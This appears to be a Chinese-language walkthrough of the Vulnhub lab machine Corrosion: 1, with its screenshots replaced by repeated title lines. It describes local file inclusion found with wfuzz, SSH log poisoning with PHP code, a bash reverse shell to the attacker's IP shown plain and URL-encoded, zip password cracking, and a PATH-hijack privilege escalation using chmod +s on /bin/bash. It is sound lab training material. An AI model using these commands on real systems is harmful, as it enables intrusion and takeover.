Vulnhub 靶场 CORROSION: 1

前期准备:

靶机地址:https://www.vulnhub.com/entry/corrosion-1,730/

kali攻击机ip:192.168.11.129
靶机ip:192.168.11.199

一、信息收集

1.使用nmap对目标靶机进行扫描

Vulnhub 靶场 CORROSION: 1

发现开放了22和80端口。

2. 80端口

Vulnhub 靶场 CORROSION: 1

源代码中也没有什么提示,扫一下目录:

Vulnhub 靶场 CORROSION: 1

挨个访问一下:

/tasks

Vulnhub 靶场 CORROSION: 1

说了需要完成的任务。

/blog-post

Vulnhub 靶场 CORROSION: 1

randy 大概是个用户名。很具前面目录扫描的结果判断,/blog-post 目录后还有东西,再扫一下:

Vulnhub 靶场 CORROSION: 1

又发现了一些页面,查看一下:

/blog-post/archives/

Vulnhub 靶场 CORROSION: 1

二、漏洞利用

查看一下 randylogs.php 文件:

Vulnhub 靶场 CORROSION: 1

返回的 /blog-post/archives/randylogs.php 发现什么也没有,感觉不对,用 wfuzz 做一下模糊测试:

Vulnhub 靶场 CORROSION: 1

得到了 file 参数。

Vulnhub 靶场 CORROSION: 1

可以访问系统文件,看先之前提到的 auth.log 日志:

Vulnhub 靶场 CORROSION: 1

发现会记录 ssh 登录的所有活动,那我们可以尝试添加恶意 PHP 代码作为用户名,该代码将从用户输入并执行命令。这通常称为日志中毒。

Vulnhub 靶场 CORROSION: 1

再次查看日志信息:

Vulnhub 靶场 CORROSION: 1

注入的信息应该在这里,验证一下:

Vulnhub 靶场 CORROSION: 1

发现没问题,写入shell:

bash -c 'bash -i >& /dev/tcp/192.168.11.129/1234 0>&1'

url 编码一下:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.129%2F1234%200%3E%261%27

访问并监听:

Vulnhub 靶场 CORROSION: 1

Vulnhub 靶场 CORROSION: 1

之前我们访问 /etc/passwd 文件时,发现有个用户 randy,大概下一步是要提权到 rangdy。

三、提权

查看了一下系统内的文件:

Vulnhub 靶场 CORROSION: 1

最后在 /var/backups/ 目录下发现一个 user_backup.zip:

Vulnhub 靶场 CORROSION: 1

解压时发现有密码,传输到本地 kali 上破解一下:

这里用的 nc 传输:

Vulnhub 靶场 CORROSION: 1

爆破一下压缩包:

Vulnhub 靶场 CORROSION: 1

pw == !randybaby

查看压缩包内的信息:

Vulnhub 靶场 CORROSION: 1

Vulnhub 靶场 CORROSION: 1

发现 randy 的密码,ssh 登录:

Vulnhub 靶场 CORROSION: 1

查看一下权限:

Vulnhub 靶场 CORROSION: 1

发现了 /home/randy/tools/easysysinfo ,查看一下:

Vulnhub 靶场 CORROSION: 1

Vulnhub 靶场 CORROSION: 1

查看权限发现并不能改,那就用之前的方法,本地编辑 cat 文件,写入 shell:

echo 'chmod +s /bin/bash' > cat
chmod 777 cat
export PATH=/home/randy/tools:$PATH
./easysysinfo
/bin/bash -p

Vulnhub 靶场 CORROSION: 1

成功获取到 root,在 /root 下发现了flag:

Vulnhub 靶场 CORROSION: 1

并且还在 /root/creds 下发现了 root 密码:

Vulnhub 靶场 CORROSION: 1

上一篇:WPScan扫描Wordpress漏洞


下一篇:Windows环境下maven 安装与环境变量配置